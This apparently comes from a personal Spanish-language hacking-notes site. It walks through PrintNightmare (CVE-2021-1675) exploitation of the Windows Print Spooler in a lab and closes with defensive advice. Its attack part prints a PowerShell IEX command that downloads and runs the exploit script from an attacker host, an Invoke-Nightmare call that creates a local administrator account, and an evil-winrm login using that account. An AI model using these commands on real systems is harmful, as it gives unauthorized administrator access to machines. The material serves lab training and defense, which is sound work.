> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md).

# Spooler de impresión - PrintNightmare

`spoolsv.exe` es el servicio Windows Print Spooler. Cuando un objetivo es vulnerable, la explotación al estilo PrintNightmare puede permitir una escalada de privilegios local o remota, según la versión de Windows, el nivel de parches y la exposición del servicio.

## Detección

Correlaciona un servicio Print Spooler activo o expuesto con la versión exacta de Windows y los parches instalados.

<figure><img src="/files/af39bbcc8bf19d2210f57e7dffa078d1bdad793b" alt="Windows Print Spooler service identified"><figcaption></figcaption></figure>

## Explotación en laboratorio

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/d5205a4d0cbf1f72e78c4e2747651627dfe498c9" alt="PrintNightmare exploit repository"><figcaption></figcaption></figure>

Carga el script:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

Crea un usuario administrador local en el laboratorio:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "lab-admin" -NewPassword "Use-A-Strong-Temporary-Password!"
```

<figure><img src="/files/0cd0efd4eb855739aa72ffb764e249bdc1957ec1" alt="Invoke-Nightmare creating a local administrator user"><figcaption></figcaption></figure>

<figure><img src="/files/84f63a2dd19986fe99cc6ac1f3196e11b0f91578" alt="New administrative user validation"><figcaption></figcaption></figure>

## Conectar

```bash
evil-winrm -i 10.10.11.106 -u 'lab-admin' -p 'Use-A-Strong-Temporary-Password!'
```

<figure><img src="/files/8e25410304de289341631a4879078d4b2de2c6c0" alt="Evil-WinRM connection with the created administrator account"><figcaption></figcaption></figure>

## Puntos clave

* Confirma la vulnerabilidad mediante la validación de la versión y los parches.
* Deshabilita el Print Spooler donde no sea necesario, especialmente en servidores sensibles.
* Supervisa la creación repentina de cuentas de administrador local y las operaciones sospechosas con controladores de impresora.


---

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